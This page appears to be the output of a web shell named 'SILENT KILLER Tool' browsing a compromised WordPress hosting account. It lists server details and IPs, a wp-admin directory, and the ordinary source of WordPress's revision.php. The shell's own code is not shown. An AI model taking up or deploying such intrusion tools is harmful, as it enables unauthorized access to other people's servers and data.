Current Path: > home > transcarter > public_html > wp-admin > includes
Operation : Linux host59.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64 Software : Apache Server IP : 198.54.126.42 | Your IP: 216.73.216.135 Domains : 1034 Domain(s) Permission : [ 0755 ]
Name | Type | Size | Last Modified | Actions |
---|---|---|---|---|
admin-filters.php | File | 7997 bytes | September 25 2023 16:06:34. | |
admin.php | File | 3628 bytes | July 11 2023 04:03:24. | |
ajax-actions.php | File | 151532 bytes | June 14 2024 14:21:10. | |
bookmark.php | File | 11615 bytes | May 03 2023 09:03:22. | |
class-automatic-upgrader-skin.php | File | 3663 bytes | June 22 2023 13:36:26. | |
class-bulk-plugin-upgrader-skin.php | File | 2590 bytes | May 02 2024 16:20:10. | |
class-bulk-theme-upgrader-skin.php | File | 2660 bytes | May 02 2024 16:20:10. | |
class-bulk-upgrader-skin.php | File | 6753 bytes | May 02 2024 16:20:10. | |
class-core-upgrader.php | File | 15007 bytes | June 04 2024 05:30:16. | |
class-custom-background.php | File | 21619 bytes | December 07 2023 15:14:28. | |
class-custom-image-header.php | File | 49064 bytes | March 02 2024 20:15:14. | |
class-file-upload-upgrader.php | File | 4163 bytes | March 07 2024 05:58:16. | |
class-ftp-pure.php | File | 5426 bytes | November 01 2019 13:57:02. | |
class-ftp-sockets-xml.php | File | 1079 bytes | June 15 2024 11:34:14. | |
class-ftp-sockets.php | File | 8479 bytes | March 22 2022 15:25:04. | |
class-ftp.php | File | 27304 bytes | February 12 2024 12:07:10. | |
class-language-pack-upgrader-skin.php | File | 2870 bytes | May 02 2024 16:20:10. | |
class-language-pack-upgrader.php | File | 15561 bytes | April 30 2024 07:39:08. | |
class-pclzip.php | File | 196700 bytes | March 31 2024 04:52:16. | |
class-plugin-installer-skin.php | File | 12047 bytes | May 02 2024 16:20:10. | |
class-plugin-upgrader-skin.php | File | 3278 bytes | June 14 2023 05:34:28. | |
class-plugin-upgrader.php | File | 23334 bytes | February 20 2024 07:27:06. | |
class-theme-installer-skin.php | File | 12728 bytes | May 02 2024 16:20:10. | |
class-theme-upgrader-skin.php | File | 4176 bytes | February 26 2024 20:35:08. | |
class-theme-upgrader.php | File | 26794 bytes | January 08 2024 23:19:16. | |
class-walker-category-checklist.php | File | 4898 bytes | August 24 2023 08:01:16. | |
class-walker-nav-menu-checklist.php | File | 5628 bytes | September 08 2023 08:32:24. | |
class-walker-nav-menu-edit.php | File | 13249 bytes | September 14 2023 11:46:20. | |
class-wp-ajax-upgrader-skin.php | File | 4193 bytes | June 22 2023 13:36:26. | |
class-wp-application-passwords-list-table.php | File | 6949 bytes | February 16 2024 21:47:12. | |
class-wp-automatic-updater.php | File | 61148 bytes | June 18 2024 13:41:06. | |
class-wp-comments-list-table.php | File | 32439 bytes | May 10 2024 17:09:16. | |
class-wp-community-events.php | File | 18769 bytes | September 12 2023 14:23:18. | |
class-wp-debug-data.php | File | 61645 bytes | August 13 2024 17:41:18. | |
class-wp-filesystem-base.php | File | 24410 bytes | February 16 2024 21:47:12. | |
class-wp-filesystem-direct.php | File | 18143 bytes | February 16 2024 21:47:12. | |
class-wp-filesystem-ftpext.php | File | 23101 bytes | February 16 2024 21:47:12. | |
class-wp-filesystem-ftpsockets.php | File | 18479 bytes | February 16 2024 21:47:12. | |
class-wp-filesystem-ssh2.php | File | 23310 bytes | February 16 2024 21:47:12. | |
class-wp-importer.php | File | 7465 bytes | August 14 2023 08:59:20. | |
class-wp-internal-pointers.php | File | 4577 bytes | June 14 2023 11:57:20. | |
class-wp-links-list-table.php | File | 9175 bytes | May 01 2024 17:01:12. | |
class-wp-list-table-compat.php | File | 1497 bytes | November 14 2020 16:54:08. | |
class-wp-list-table.php | File | 52848 bytes | June 25 2024 07:59:22. | |
class-wp-media-list-table.php | File | 25569 bytes | September 22 2023 18:58:16. | |
class-wp-ms-sites-list-table.php | File | 22017 bytes | February 26 2024 20:35:08. | |
class-wp-ms-themes-list-table.php | File | 28278 bytes | May 01 2024 17:01:12. | |
class-wp-ms-users-list-table.php | File | 15221 bytes | November 15 2023 09:33:26. | |
class-wp-plugin-install-list-table.php | File | 24720 bytes | June 20 2024 14:32:12. | |
class-wp-plugins-list-table.php | File | 57726 bytes | May 14 2024 15:49:10. | |
class-wp-post-comments-list-table.php | File | 1453 bytes | October 04 2022 02:47:16. | |
class-wp-posts-list-table.php | File | 63798 bytes | June 15 2024 11:34:14. | |
class-wp-privacy-data-export-requests-list-table.php | File | 5563 bytes | March 10 2022 19:22:02. | |
class-wp-privacy-data-removal-requests-list-table.php | File | 5715 bytes | September 08 2023 08:32:24. | |
class-wp-privacy-policy-content.php | File | 32770 bytes | February 29 2024 12:17:08. | |
class-wp-privacy-requests-table.php | File | 13974 bytes | September 22 2023 18:58:16. | |
class-wp-screen.php | File | 37327 bytes | June 15 2024 11:34:14. | |
class-wp-site-health-auto-updates.php | File | 13505 bytes | September 25 2023 23:27:12. | |
class-wp-site-health.php | File | 122552 bytes | June 18 2024 10:59:14. | |
class-wp-site-icon.php | File | 6414 bytes | March 02 2024 20:15:14. | |
class-wp-terms-list-table.php | File | 21182 bytes | June 15 2024 11:34:14. | |
class-wp-theme-install-list-table.php | File | 15736 bytes | May 01 2024 17:01:12. | |
class-wp-themes-list-table.php | File | 10288 bytes | February 26 2024 20:35:08. | |
class-wp-upgrader-skin.php | File | 7110 bytes | May 02 2024 16:20:10. | |
class-wp-upgrader-skins.php | File | 1477 bytes | October 08 2019 16:19:04. | |
class-wp-upgrader.php | File | 47051 bytes | June 04 2024 05:30:16. | |
class-wp-users-list-table.php | File | 19058 bytes | January 10 2024 11:57:16. | |
comment.php | File | 6121 bytes | July 20 2022 21:15:10. | |
continents-cities-string.php | File | 1079 bytes | June 15 2024 11:34:14. | |
continents-cities.php | File | 20540 bytes | September 19 2022 22:24:12. | |
credits.php | File | 5941 bytes | June 22 2023 13:36:26. | |
dashboard.php | File | 70208 bytes | February 08 2024 20:36:14. | |
deprecated.php | File | 41776 bytes | January 10 2024 11:57:16. | |
edit-tag-messages.php | File | 1478 bytes | December 07 2021 12:20:02. | |
export.php | File | 25565 bytes | April 15 2024 19:03:10. | |
file-schema.php | File | 373 bytes | June 15 2024 11:34:14. | |
file.php | File | 98415 bytes | June 13 2024 19:50:14. | |
image-edit.php | File | 43360 bytes | June 25 2024 14:32:16. | |
image.php | File | 41868 bytes | March 02 2024 20:15:14. | |
import.php | File | 6676 bytes | July 29 2022 08:22:10. | |
list-table.php | File | 3802 bytes | October 04 2022 02:47:16. | |
media.php | File | 118885 bytes | June 09 2024 21:53:14. | |
menu.php | File | 9618 bytes | November 06 2023 09:27:24. | |
meta-boxes.php | File | 66134 bytes | July 24 2024 16:32:16. | |
misc.php | File | 46458 bytes | May 02 2024 12:19:14. | |
ms-admin-filters.php | File | 1296 bytes | September 20 2022 01:51:10. | |
ms-deprecated.php | File | 3770 bytes | September 20 2022 01:51:10. | |
ms.php | File | 33958 bytes | May 11 2024 13:47:06. | |
nav-menu.php | File | 48898 bytes | June 15 2024 11:34:14. | |
network.php | File | 26980 bytes | May 09 2024 22:09:14. | |
noop.php | File | 1148 bytes | September 21 2023 00:27:26. | |
options.php | File | 4251 bytes | February 26 2024 20:18:10. | |
plugin-install.php | File | 39950 bytes | June 13 2024 19:50:14. | |
plugin.php | File | 92911 bytes | June 15 2024 11:34:14. | |
post.php | File | 81640 bytes | June 15 2024 11:34:14. | |
privacy-tools.php | File | 33462 bytes | June 22 2023 13:36:26. | |
revision.php | File | 16142 bytes | February 16 2024 21:47:12. | |
schema.php | File | 42667 bytes | June 13 2024 09:00:12. | |
screen.php | File | 6378 bytes | June 15 2024 11:34:14. | |
taxonomy.php | File | 8424 bytes | March 10 2023 07:04:20. | |
template.php | File | 98313 bytes | June 15 2024 11:34:14. | |
theme-install.php | File | 6990 bytes | February 26 2024 20:35:08. | |
theme.php | File | 47809 bytes | June 13 2024 19:50:14. | |
translation-install.php | File | 8915 bytes | June 13 2024 19:50:14. | |
update-core.php | File | 66980 bytes | August 06 2025 04:48:36. | |
update.php | File | 34578 bytes | June 13 2024 19:50:14. | |
upgrade.php | File | 113095 bytes | June 18 2024 13:39:12. | |
user.php | File | 23514 bytes | November 17 2023 13:29:26. | |
widgets.php | File | 10912 bytes | September 09 2023 08:28:26. |
<?php /** * WordPress Administration Revisions API * * @package WordPress * @subpackage Administration * @since 3.6.0 */ /** * Get the revision UI diff. * * @since 3.6.0 * * @param WP_Post|int $post The post object or post ID. * @param int $compare_from The revision ID to compare from. * @param int $compare_to The revision ID to come to. * @return array|false Associative array of a post's revisioned fields and their diffs. * Or, false on failure. */ function wp_get_revision_ui_diff( $post, $compare_from, $compare_to ) { $post = get_post( $post ); if ( ! $post ) { return false; } if ( $compare_from ) { $compare_from = get_post( $compare_from ); if ( ! $compare_from ) { return false; } } else { // If we're dealing with the first revision... $compare_from = false; } $compare_to = get_post( $compare_to ); if ( ! $compare_to ) { return false; } /* * If comparing revisions, make sure we are dealing with the right post parent. * The parent post may be a 'revision' when revisions are disabled and we're looking at autosaves. */ if ( $compare_from && $compare_from->post_parent !== $post->ID && $compare_from->ID !== $post->ID ) { return false; } if ( $compare_to->post_parent !== $post->ID && $compare_to->ID !== $post->ID ) { return false; } if ( $compare_from && strtotime( $compare_from->post_date_gmt ) > strtotime( $compare_to->post_date_gmt ) ) { $temp = $compare_from; $compare_from = $compare_to; $compare_to = $temp; } // Add default title if title field is empty. if ( $compare_from && empty( $compare_from->post_title ) ) { $compare_from->post_title = __( '(no title)' ); } if ( empty( $compare_to->post_title ) ) { $compare_to->post_title = __( '(no title)' ); } $return = array(); foreach ( _wp_post_revision_fields( $post ) as $field => $name ) { /** * Contextually filter a post revision field. * * The dynamic portion of the hook name, `$field`, corresponds to a name of a * field of the revision object. * * Possible hook names include: * * - `_wp_post_revision_field_post_title` * - `_wp_post_revision_field_post_content` * - `_wp_post_revision_field_post_excerpt` * * @since 3.6.0 * * @param string $revision_field The current revision field to compare to or from. * @param string $field The current revision field. * @param WP_Post $compare_from The revision post object to compare to or from. * @param string $context The context of whether the current revision is the old * or the new one. Either 'to' or 'from'. */ $content_from = $compare_from ? apply_filters( "_wp_post_revision_field_{$field}", $compare_from->$field, $field, $compare_from, 'from' ) : ''; /** This filter is documented in wp-admin/includes/revision.php */ $content_to = apply_filters( "_wp_post_revision_field_{$field}", $compare_to->$field, $field, $compare_to, 'to' ); $args = array( 'show_split_view' => true, 'title_left' => __( 'Removed' ), 'title_right' => __( 'Added' ), ); /** * Filters revisions text diff options. * * Filters the options passed to wp_text_diff() when viewing a post revision. * * @since 4.1.0 * * @param array $args { * Associative array of options to pass to wp_text_diff(). * * @type bool $show_split_view True for split view (two columns), false for * un-split view (single column). Default true. * } * @param string $field The current revision field. * @param WP_Post $compare_from The revision post to compare from. * @param WP_Post $compare_to The revision post to compare to. */ $args = apply_filters( 'revision_text_diff_options', $args, $field, $compare_from, $compare_to ); $diff = wp_text_diff( $content_from, $content_to, $args ); if ( ! $diff && 'post_title' === $field ) { /* * It's a better user experience to still show the Title, even if it didn't change. * No, you didn't see this. */ $diff = '<table class="diff"><colgroup><col class="content diffsplit left"><col class="content diffsplit middle"><col class="content diffsplit right"></colgroup><tbody><tr>'; // In split screen mode, show the title before/after side by side. if ( true === $args['show_split_view'] ) { $diff .= '<td>' . esc_html( $compare_from->post_title ) . '</td><td></td><td>' . esc_html( $compare_to->post_title ) . '</td>'; } else { $diff .= '<td>' . esc_html( $compare_from->post_title ) . '</td>'; // In single column mode, only show the title once if unchanged. if ( $compare_from->post_title !== $compare_to->post_title ) { $diff .= '</tr><tr><td>' . esc_html( $compare_to->post_title ) . '</td>'; } } $diff .= '</tr></tbody>'; $diff .= '</table>'; } if ( $diff ) { $return[] = array( 'id' => $field, 'name' => $name, 'diff' => $diff, ); } } /** * Filters the fields displayed in the post revision diff UI. * * @since 4.1.0 * * @param array[] $return Array of revision UI fields. Each item is an array of id, name, and diff. * @param WP_Post $compare_from The revision post to compare from. * @param WP_Post $compare_to The revision post to compare to. */ return apply_filters( 'wp_get_revision_ui_diff', $return, $compare_from, $compare_to ); } /** * Prepare revisions for JavaScript. * * @since 3.6.0 * * @param WP_Post|int $post The post object or post ID. * @param int $selected_revision_id The selected revision ID. * @param int $from Optional. The revision ID to compare from. * @return array An associative array of revision data and related settings. */ function wp_prepare_revisions_for_js( $post, $selected_revision_id, $from = null ) { $post = get_post( $post ); $authors = array(); $now_gmt = time(); $revisions = wp_get_post_revisions( $post->ID, array( 'order' => 'ASC', 'check_enabled' => false, ) ); // If revisions are disabled, we only want autosaves and the current post. if ( ! wp_revisions_enabled( $post ) ) { foreach ( $revisions as $revision_id => $revision ) { if ( ! wp_is_post_autosave( $revision ) ) { unset( $revisions[ $revision_id ] ); } } $revisions = array( $post->ID => $post ) + $revisions; } $show_avatars = get_option( 'show_avatars' ); update_post_author_caches( $revisions ); $can_restore = current_user_can( 'edit_post', $post->ID ); $current_id = false; foreach ( $revisions as $revision ) { $modified = strtotime( $revision->post_modified ); $modified_gmt = strtotime( $revision->post_modified_gmt . ' +0000' ); if ( $can_restore ) { $restore_link = str_replace( '&', '&', wp_nonce_url( add_query_arg( array( 'revision' => $revision->ID, 'action' => 'restore', ), admin_url( 'revision.php' ) ), "restore-post_{$revision->ID}" ) ); } if ( ! isset( $authors[ $revision->post_author ] ) ) { $authors[ $revision->post_author ] = array( 'id' => (int) $revision->post_author, 'avatar' => $show_avatars ? get_avatar( $revision->post_author, 32 ) : '', 'name' => get_the_author_meta( 'display_name', $revision->post_author ), ); } $autosave = (bool) wp_is_post_autosave( $revision ); $current = ! $autosave && $revision->post_modified_gmt === $post->post_modified_gmt; if ( $current && ! empty( $current_id ) ) { // If multiple revisions have the same post_modified_gmt, highest ID is current. if ( $current_id < $revision->ID ) { $revisions[ $current_id ]['current'] = false; $current_id = $revision->ID; } else { $current = false; } } elseif ( $current ) { $current_id = $revision->ID; } $revisions_data = array( 'id' => $revision->ID, 'title' => get_the_title( $post->ID ), 'author' => $authors[ $revision->post_author ], 'date' => date_i18n( __( 'M j, Y @ H:i' ), $modified ), 'dateShort' => date_i18n( _x( 'j M @ H:i', 'revision date short format' ), $modified ), /* translators: %s: Human-readable time difference. */ 'timeAgo' => sprintf( __( '%s ago' ), human_time_diff( $modified_gmt, $now_gmt ) ), 'autosave' => $autosave, 'current' => $current, 'restoreUrl' => $can_restore ? $restore_link : false, ); /** * Filters the array of revisions used on the revisions screen. * * @since 4.4.0 * * @param array $revisions_data { * The bootstrapped data for the revisions screen. * * @type int $id Revision ID. * @type string $title Title for the revision's parent WP_Post object. * @type int $author Revision post author ID. * @type string $date Date the revision was modified. * @type string $dateShort Short-form version of the date the revision was modified. * @type string $timeAgo GMT-aware amount of time ago the revision was modified. * @type bool $autosave Whether the revision is an autosave. * @type bool $current Whether the revision is both not an autosave and the post * modified date matches the revision modified date (GMT-aware). * @type bool|false $restoreUrl URL if the revision can be restored, false otherwise. * } * @param WP_Post $revision The revision's WP_Post object. * @param WP_Post $post The revision's parent WP_Post object. */ $revisions[ $revision->ID ] = apply_filters( 'wp_prepare_revision_for_js', $revisions_data, $revision, $post ); } /* * If we only have one revision, the initial revision is missing. This happens * when we have an autosave and the user has clicked 'View the Autosave'. */ if ( 1 === count( $revisions ) ) { $revisions[ $post->ID ] = array( 'id' => $post->ID, 'title' => get_the_title( $post->ID ), 'author' => $authors[ $revision->post_author ], 'date' => date_i18n( __( 'M j, Y @ H:i' ), strtotime( $post->post_modified ) ), 'dateShort' => date_i18n( _x( 'j M @ H:i', 'revision date short format' ), strtotime( $post->post_modified ) ), /* translators: %s: Human-readable time difference. */ 'timeAgo' => sprintf( __( '%s ago' ), human_time_diff( strtotime( $post->post_modified_gmt ), $now_gmt ) ), 'autosave' => false, 'current' => true, 'restoreUrl' => false, ); $current_id = $post->ID; } /* * If a post has been saved since the latest revision (no revisioned fields * were changed), we may not have a "current" revision. Mark the latest * revision as "current". */ if ( empty( $current_id ) ) { if ( $revisions[ $revision->ID ]['autosave'] ) { $revision = end( $revisions ); while ( $revision['autosave'] ) { $revision = prev( $revisions ); } $current_id = $revision['id']; } else { $current_id = $revision->ID; } $revisions[ $current_id ]['current'] = true; } // Now, grab the initial diff. $compare_two_mode = is_numeric( $from ); if ( ! $compare_two_mode ) { $found = array_search( $selected_revision_id, array_keys( $revisions ), true ); if ( $found ) { $from = array_keys( array_slice( $revisions, $found - 1, 1, true ) ); $from = reset( $from ); } else { $from = 0; } } $from = absint( $from ); $diffs = array( array( 'id' => $from . ':' . $selected_revision_id, 'fields' => wp_get_revision_ui_diff( $post->ID, $from, $selected_revision_id ), ), ); return array( 'postId' => $post->ID, 'nonce' => wp_create_nonce( 'revisions-ajax-nonce' ), 'revisionData' => array_values( $revisions ), 'to' => $selected_revision_id, 'from' => $from, 'diffData' => $diffs, 'baseUrl' => parse_url( admin_url( 'revision.php' ), PHP_URL_PATH ), 'compareTwoMode' => absint( $compare_two_mode ), // Apparently booleans are not allowed. 'revisionIds' => array_keys( $revisions ), ); } /** * Print JavaScript templates required for the revisions experience. * * @since 4.1.0 * * @global WP_Post $post Global post object. */ function wp_print_revision_templates() { global $post; ?><script id="tmpl-revisions-frame" type="text/html"> <div class="revisions-control-frame"></div> <div class="revisions-diff-frame"></div> </script> <script id="tmpl-revisions-buttons" type="text/html"> <div class="revisions-previous"> <input class="button" type="button" value="<?php echo esc_attr_x( 'Previous', 'Button label for a previous revision' ); ?>" /> </div> <div class="revisions-next"> <input class="button" type="button" value="<?php echo esc_attr_x( 'Next', 'Button label for a next revision' ); ?>" /> </div> </script> <script id="tmpl-revisions-checkbox" type="text/html"> <div class="revision-toggle-compare-mode"> <label> <input type="checkbox" class="compare-two-revisions" <# if ( 'undefined' !== typeof data && data.model.attributes.compareTwoMode ) { #> checked="checked"<# } #> /> <?php esc_html_e( 'Compare any two revisions' ); ?> </label> </div> </script> <script id="tmpl-revisions-meta" type="text/html"> <# if ( ! _.isUndefined( data.attributes ) ) { #> <div class="diff-title"> <# if ( 'from' === data.type ) { #> <strong><?php _ex( 'From:', 'Followed by post revision info' ); ?></strong> <# } else if ( 'to' === data.type ) { #> <strong><?php _ex( 'To:', 'Followed by post revision info' ); ?></strong> <# } #> <div class="author-card<# if ( data.attributes.autosave ) { #> autosave<# } #>"> {{{ data.attributes.author.avatar }}} <div class="author-info"> <# if ( data.attributes.autosave ) { #> <span class="byline"> <?php printf( /* translators: %s: User's display name. */ __( 'Autosave by %s' ), '<span class="author-name">{{ data.attributes.author.name }}</span>' ); ?> </span> <# } else if ( data.attributes.current ) { #> <span class="byline"> <?php printf( /* translators: %s: User's display name. */ __( 'Current Revision by %s' ), '<span class="author-name">{{ data.attributes.author.name }}</span>' ); ?> </span> <# } else { #> <span class="byline"> <?php printf( /* translators: %s: User's display name. */ __( 'Revision by %s' ), '<span class="author-name">{{ data.attributes.author.name }}</span>' ); ?> </span> <# } #> <span class="time-ago">{{ data.attributes.timeAgo }}</span> <span class="date">({{ data.attributes.dateShort }})</span> </div> <# if ( 'to' === data.type && data.attributes.restoreUrl ) { #> <input <?php if ( wp_check_post_lock( $post->ID ) ) { ?> disabled="disabled" <?php } else { ?> <# if ( data.attributes.current ) { #> disabled="disabled" <# } #> <?php } ?> <# if ( data.attributes.autosave ) { #> type="button" class="restore-revision button button-primary" value="<?php esc_attr_e( 'Restore This Autosave' ); ?>" /> <# } else { #> type="button" class="restore-revision button button-primary" value="<?php esc_attr_e( 'Restore This Revision' ); ?>" /> <# } #> <# } #> </div> <# if ( 'tooltip' === data.type ) { #> <div class="revisions-tooltip-arrow"><span></span></div> <# } #> <# } #> </script> <script id="tmpl-revisions-diff" type="text/html"> <div class="loading-indicator"><span class="spinner"></span></div> <div class="diff-error"><?php _e( 'Sorry, something went wrong. The requested comparison could not be loaded.' ); ?></div> <div class="diff"> <# _.each( data.fields, function( field ) { #> <h3>{{ field.name }}</h3> {{{ field.diff }}} <# }); #> </div> </script> <?php }
SILENT KILLER Tool